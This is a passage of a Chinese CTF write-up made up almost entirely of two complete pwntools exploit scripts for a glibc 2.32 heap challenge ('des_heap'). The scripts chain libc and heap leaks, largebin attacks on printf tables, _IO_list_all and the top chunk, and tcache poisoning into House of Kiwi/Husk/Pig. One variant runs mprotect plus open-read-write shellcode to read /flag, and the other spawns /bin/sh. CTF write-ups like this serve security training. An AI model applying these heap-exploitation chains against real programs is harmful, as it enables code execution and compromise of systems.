add(0x1000)


p.interactive()

另附 shellcode 版本(避免阴间出题人沙盒拉满,侧信道,架构反复横跳,或者把 flag 藏起来):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import re
import os
from pwn import *
from LibcSearcher import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)

def debug(breakpoint=''):
glibc_dir = '~/Exps/Glibc/glibc-2.32/'
gdbscript = 'directory %smalloc/\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio/\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p, gdbscript)
time.sleep(1)

elf = ELF('./des_heap')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','62'])
# p = process('./des_heap')
# debug()
p = remote('node4.buuoj.cn',25296)

def menu(choice):
sla('>> ',str(choice))
sleep(0.03)

def add(size):
menu(1)
sla('size: ',str(size))

def edit(offset,data,size=0x1000-1):
menu(2)
sla('size: ',str(size))
sla('offset: ',str(offset))
sla('content: ',str(data))

def dele(id):
menu(3)
sla('idx: ',str(id))

def show():
menu(4)

'''
-------------------------------------------------------------------------
| |
| Init Heap |
| |
-------------------------------------------------------------------------
'''
add(0x100)

'''
-------------------------------------------------------------------------
| |
| 0x100*8 ---> Full Tcache ,Leak libc |
| |
-------------------------------------------------------------------------
'''
chunk = p64(0) + p64(0x101) + 'u'*0xf0
for i in range(7):
chunk += p64(0) + p64(0x101) + 'u'*0xf0
edit(0,chunk)
for i in range(7):
dele(0 + 0x10 + (7-i)*0x100)
dele(0 + 0x10)
add(0xf8)
dele(0 + 0x10)

# Bypass \x00 Leak libc
edit(0,'u'*0x11,0x11)
show()
libc_leak = uu64(ru('\x7f',drop=False)[-6:])
libc_base = libc_leak - 0x1e0c75
lg('libc_leak',libc_leak)
lg('libc_base',libc_base)
libc = elf.libc
libc.address = libc_base
rax = libc_base + 0x0000000000044c70
rdi = libc_base + 0x0000000000028a55
rsi = libc_base + 0x000000000002a4cf
rdx_r12 = libc_base + 0x0000000000112a51
syscall_ret = libc_base + 0x000000000006105a
ret = libc_base + 0x0000000000028a55 + 1
read_addr = libc.sym.read
write_addr = libc.sym.write
__malloc_hook = libc.sym.__malloc_hook
__free_hook = libc.sym.__free_hook
system_addr = libc.sym.system
jmp_rsi = libc_base + 0x00000000000756fd
# 0x00000000000756fd: mov r13d, 1; jmp rsi;
# bin_sh%1 == 1
# bin_sh = libc.search('/bin/sh').next()
'''
Husk
'''
__printf_function_table = libc_base + 0x1e35c8
__printf_arginfo_table = libc_base + 0x1eb218
exit = libc.sym.exit
'''
Pig
'''
_IO_list_all = libc_base + 0x1e15c0
_IO_str_jumps = libc_base + 0x1e2560
magic = libc.sym.setcontext + 61
'''
Kiwi
'''
top_chunk = libc_base + 0x1e0c00


'''
-------------------------------------------------------------------------
| |
| Leak Heap,Recover Heap |
| |
-------------------------------------------------------------------------
'''
edit(0,p64(0)+p64(0x101)+'\x00',0x11)
add(0x58)
dele(0 + 0x10)
show()
ru('content: ')
heap_leak = uu64(rc(4))
heap_base = heap_leak << 12
lg('heap_leak',heap_leak)
lg('heap_base',heap_base)
add(0x98) # 0xa0 + 0x60 = 0x100 Recover Heap

'''
-------------------------------------------------------------------------
| |
| Largebin Attack Preparing..... |
| |
-------------------------------------------------------------------------
'''

chunk = p64(0) + p64(0x21) + '\0'*0x10 + p64(0) + p64(0x431) + '\0' * 0x420 + p64(0) + p64(0x101) + 'u'*0xf0 + p64(0) + p64(0x421) + '\0'*0x410 + p64(0) + p64(0x21) + '\0'*0x10 + p64(0) + p64(0x21) + '\0'*0x10
lg('LEN',len(chunk))
edit(0x1000,chunk)


dele(0x1000 + 0x20 + 0x10) # Largebin
add(0x1000)


'''
-------------------------------------------------------------------------
| |
| Largebin Attack __printf_function_table&__printf_arginfo_table |
| |
-------------------------------------------------------------------------
'''
dele(0x1000 + 0x20 + 0x430 + 0x100 + 0x10) # Unsorted
edit(0x1000+0x20 + 0x28,p64(__printf_function_table - 0x20))
add(0xf8)
lg('__printf_function_table',__printf_function_table)

dele(0x1000 + 0x20 + 0x430 + 0x100 + 0x10)
edit(0x1000+0x20 + 0x28,p64(__printf_arginfo_table - 0x20))
add(0xf8)
lg('__printf_function_table',__printf_arginfo_table)
edit(0x1000 + 0x20 + 0x388 + 0x20,p64(exit))# Exit


'''
-------------------------------------------------------------------------
| |
| Largebin Attack _IO_list_all |
| |
-------------------------------------------------------------------------
'''
dele(0x1000 + 0x20 + 0x430 + 0x100 + 0x10)
edit(0x1000+0x20 + 0x28,p64(_IO_list_all - 0x20))
add(0xf8)
lg('_IO_list_all',_IO_list_all)


'''
-------------------------------------------------------------------------
| |
| Largebin Attack main_arena's topchunk,Kiwi Preparing..... |
| |
-------------------------------------------------------------------------
'''
dele(0x1000 + 0x20 + 0x430 + 0x100 + 0x10)
edit(0x1000 + 0x20 + 0x28,p64(top_chunk - 0x20))
add(0xf8)
lg('_IO_list_all',_IO_list_all)



'''
-------------------------------------------------------------------------
| |
| Tcache Poisoning,Make up _IO_FILE chain,Pig Preparing..... |
| |
-------------------------------------------------------------------------
'''

edit(0x110,p64(heap_leak^(__malloc_hook)),8)
edit(0x10,'\0'*0x50,0x58)
edit(0 + 0x60 + 0x10,p64(magic) + '\0'*0x50,0x58)

fuck = SigreturnFrame()
fuck.rsp = heap_base + 0xD10
fuck.rip = ret

mmp = flat([
rdi,((heap_base + 0xD00)>>12)<<12,rsi,0x2000,rdx_r12,7,0,libc.sym.mprotect,rdi,0,rsi,heap_base + 0xD00,rdx_r12,0x1000,0,read_addr,jmp_rsi
])
edit(0 + 0xA00 ,fuck,0x300)
edit(0 + 0xD10,mmp,0x100)

# write_ptr
payload = p64(0)*4+p64(0) + p64(0xffffffffffffffff) +p64(0) #rdx
payload += p64(heap_base + 0x10)+p64(heap_base + 0x10 + 70)+p64(0)*4 # buf_base,buf_end
payload += p64(heap_base + 0x1000 + 0xA00)+p64(0)+p64(0)+"\x00"*8 # _chain
payload += p64(0)*4+"\x00"*48
payload += p64(_IO_str_jumps)
edit(0x1000 + 0x20,payload)

# write_ptr
payload = p64(0)*4+p64(0) + p64(0xffffffffffffffff) +p64(0) #rdx
payload += p64(heap_base + 0x60 + 0x10)+p64(heap_base + 0x60 + 0x10 + 70)+p64(0)*4 # buf_base,buf_end
payload += p64(heap_base + 0x1000 + 0xA00 + 0x200)+p64(0)+p64(0)+"\x00"*8 # _chain
payload += p64(0)*4+"\x00"*48
payload += p64(_IO_str_jumps)
edit(0x1000 + 0xA00,payload)

# ORW # rdx
payload = p64(0)*4+p64(0) + p64(heap_base + 0xA00) +p64(0) #rdx
payload += p64(0)+p64(1)+p64(0)*4 # buf_base,buf_end
payload += p64(0)+p64(0)+p64(0)+"\x00"*8 # _chain
payload += p64(0)*4+"\x00"*48
payload += p64(_IO_str_jumps)
edit(0x1000 + 0xA00 + 0x200,payload)

'''
-------------------------------------------------------------------------
| |
| Trigger Kiwi --> Husk --> Pig |
| |
-------------------------------------------------------------------------
'''
add(0x1000)
# sl(asm(shellcraft.open("./",0x10000) + shellcraft.getdents("rax","rsp",0x200) + shellcraft.write(1,"rsp",0x200)))
# data0=p.recv(0x200)
# print(dirents(data0))
sl(asm(shellcraft.open('/flag',0)+shellcraft.read("rax","rsp",0x100)+shellcraft.write(1,"rsp",0x100)))

p.interactive()

没开沙箱的直接拿 shell 版本,这里有点像 2.24~2.27 那里的 _IO_str_overlow 的利用方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import re
import os
from pwn import *
from LibcSearcher import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)

def debug(breakpoint=''):
glibc_dir = '~/Exps/Glibc/glibc-2.32/'
gdbscript = 'directory %smalloc/\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio/\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p, gdbscript)
time.sleep(1)

elf = ELF('./des_heap')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','62'])
p = process('./des_heap')
debug()
# p = remote('node4.buuoj.cn',27834)

def menu(choice):
sla('>> ',str(choice))
# sleep(0.5)

def add(size):
menu(1)
sla('size: ',str(size))

def edit(offset,data,size=0x1000-1):
menu(2)
sla('size: ',str(size))
sla('offset: ',str(offset))
sla('content: ',str(data))

def dele(id):
menu(3)
sla('idx: ',str(id))

def show():
menu(4)

'''
-------------------------------------------------------------------------
| |
| Init Heap |
| |
-------------------------------------------------------------------------
'''
add(0x100)

'''
-------------------------------------------------------------------------
| |
| 0x100*8 ---> Full Tcache ,Leak libc |
| |
-------------------------------------------------------------------------
'''
chunk = p64(0) + p64(0x101) + 'u'*0xf0
for i in range(7):
chunk += p64(0) + p64(0x101) + 'u'*0xf0
edit(0,chunk)
for i in range(7):
dele(0 + 0x10 + (7-i)*0x100)
dele(0 + 0x10)
add(0xf8)
dele(0 + 0x10)

# Bypass \x00 Leak libc
edit(0,'u'*0x11,0x11)
show()
libc_leak = uu64(ru('\x7f',drop=False)[-6:])
libc_base = libc_leak - 0x1e0c75
lg('libc_leak',libc_leak)
lg('libc_base',libc_base)
libc = elf.libc
libc.address = libc_base
rax = libc_base + 0x0000000000044c70
rdi = libc_base + 0x0000000000028a55
rsi = libc_base + 0x000000000002a4cf
rdx_r12 = libc_base + 0x0000000000112a51
syscall_ret = libc_base + 0x000000000006105a
ret = libc_base + 0x0000000000028a55 + 1
read_addr = libc.sym.read
write_addr = libc.sym.write
__malloc_hook = libc.sym.__malloc_hook
__free_hook = libc.sym.__free_hook
system_addr = libc.sym.system
# bin_sh%1 == 1
# bin_sh = libc.search('/bin/sh').next()
'''
Husk
'''
__printf_function_table = libc_base + 0x1e35c8
__printf_arginfo_table = libc_base + 0x1eb218
exit = libc.sym.exit
'''
Pig
'''
_IO_list_all = libc_base + 0x1e15c0
_IO_str_jumps = libc_base + 0x1e2560
magic = libc.sym.setcontext + 61
'''
Kiwi
'''
top_chunk = libc_base + 0x1e0c00


'''
-------------------------------------------------------------------------
| |
| Leak Heap,Recover Heap |
| |
-------------------------------------------------------------------------
'''
edit(0,p64(0)+p64(0x101)+'\x00',0x11)
add(0x58)
dele(0 + 0x10)
show()
ru('content: ')
heap_leak = uu64(rc(4))
heap_base = heap_leak << 12
lg('heap_leak',heap_leak)
lg('heap_base',heap_base)
add(0x98) # 0xa0 + 0x60 = 0x100 Recover Heap

'''
-------------------------------------------------------------------------
| |
| Largebin Attack Preparing..... |
| |
-------------------------------------------------------------------------
'''

chunk = p64(0) + p64(0x21) + '\0'*0x10 + p64(0) + p64(0x431) + '\0' * 0x420 + p64(0) + p64(0x101) + 'u'*0xf0 + p64(0) + p64(0x421) + '\0'*0x410 + p64(0) + p64(0x21) + '\0'*0x10 + p64(0) + p64(0x21) + '\0'*0x10
lg('LEN',len(chunk))
edit(0x1000,chunk)


dele(0x1000 + 0x20 + 0x10) # Largebin
add(0x1000)


'''
-------------------------------------------------------------------------
| |
| Largebin Attack __printf_function_table&__printf_arginfo_table |
| |
-------------------------------------------------------------------------
'''
dele(0x1000 + 0x20 + 0x430 + 0x100 + 0x10) # Unsorted
edit(0x1000+0x20 + 0x28,p64(__printf_function_table - 0x20))
add(0xf8)
lg('__printf_function_table',__printf_function_table)

dele(0x1000 + 0x20 + 0x430 + 0x100 + 0x10)
edit(0x1000+0x20 + 0x28,p64(__printf_arginfo_table - 0x20))
add(0xf8)
lg('__printf_function_table',__printf_arginfo_table)
edit(0x1000 + 0x20 + 0x388 + 0x20,p64(exit))# Exit


'''
-------------------------------------------------------------------------
| |
| Largebin Attack _IO_list_all |
| |
-------------------------------------------------------------------------
'''
dele(0x1000 + 0x20 + 0x430 + 0x100 + 0x10)
edit(0x1000+0x20 + 0x28,p64(_IO_list_all - 0x20))
add(0xf8)
lg('_IO_list_all',_IO_list_all)


'''
-------------------------------------------------------------------------
| |
| Largebin Attack main_arena's topchunk,Kiwi Preparing..... |
| |
-------------------------------------------------------------------------
'''
dele(0x1000 + 0x20 + 0x430 + 0x100 + 0x10)
edit(0x1000 + 0x20 + 0x28,p64(top_chunk - 0x20))
add(0xf8)
lg('_IO_list_all',_IO_list_all)



'''
-------------------------------------------------------------------------
| |
| Tcache Poisoning,Make up _IO_FILE chain,Pig Preparing..... |
| |
-------------------------------------------------------------------------
'''

edit(0x110,p64(heap_leak^(__malloc_hook)),8)
edit(0x10,'\0'*0x50,0x58)
edit(0 + 0x60 + 0x10,p64(system_addr) + '\0'*0x50,0x58)
edit(0 + 0xA00 ,'/bin/sh\0' + '\0'*0x50,0x58)
bin_sh_addr = heap_base + 0xA00

# write_ptr
payload = p64(0)*4+p64(0) + p64(0xffffffffffffffff) +p64(0) #rdx
payload += p64(heap_base + 0x10)+p64(heap_base + 0x10 + 70)+p64(0)*4 # buf_base,buf_end
payload += p64(heap_base + 0x1000 + 0xA00)+p64(0)+p64(0)+"\x00"*8 # _chain
payload += p64(0)*4+"\x00"*48
payload += p64(_IO_str_jumps)
edit(0x1000 + 0x20,payload)

# write_ptr
payload = p64(0)*4+p64(0) + p64(0xffffffffffffffff) +p64(0) #rdx
payload += p64(heap_base + 0x60 + 0x10)+p64(heap_base + 0x60 + 0x10 + 70)+p64(0)*4 # buf_base,buf_end
payload += p64(heap_base + 0x1000 + 0xA00 + 0x200)+p64(0)+p64(0)+"\x00"*8 # _chain
payload += p64(0)*4+"\x00"*48
payload += p64(_IO_str_jumps)
edit(0x1000 + 0xA00,payload)

# ORW # rdx
payload = p64(0)*4+p64(0) + p64(0xffffffffffffffff) +p64(0) #rdx
payload += p64(0)+p64((bin_sh_addr - 100)//2)+p64(0)*4 # buf_base,buf_end
payload += p64(0)+p64(0)+p64(0)+"\x00"*8 # _chain
payload += p64(0)*4+"\x00"*48
payload += p64(_IO_str_jumps)
edit(0x1000 + 0xA00 + 0x200,payload)

'''
-------------------------------------------------------------------------
| |
| Trigger Kiwi --> Husk --> Pig |
| |
-------------------------------------------------------------------------
'''
add(0x1000)


p.interactive()

Exp.House of Corrosion

参考资料

肥猫嘤嘤’s blog

house-of-husk学习笔记

raycp 师傅的 _IO_FILE 系列文章

_IO_FILE利用思路总结 - b0ldfrev

CTF 中 glibc堆利用 及 IO_FILE 总结 - winmt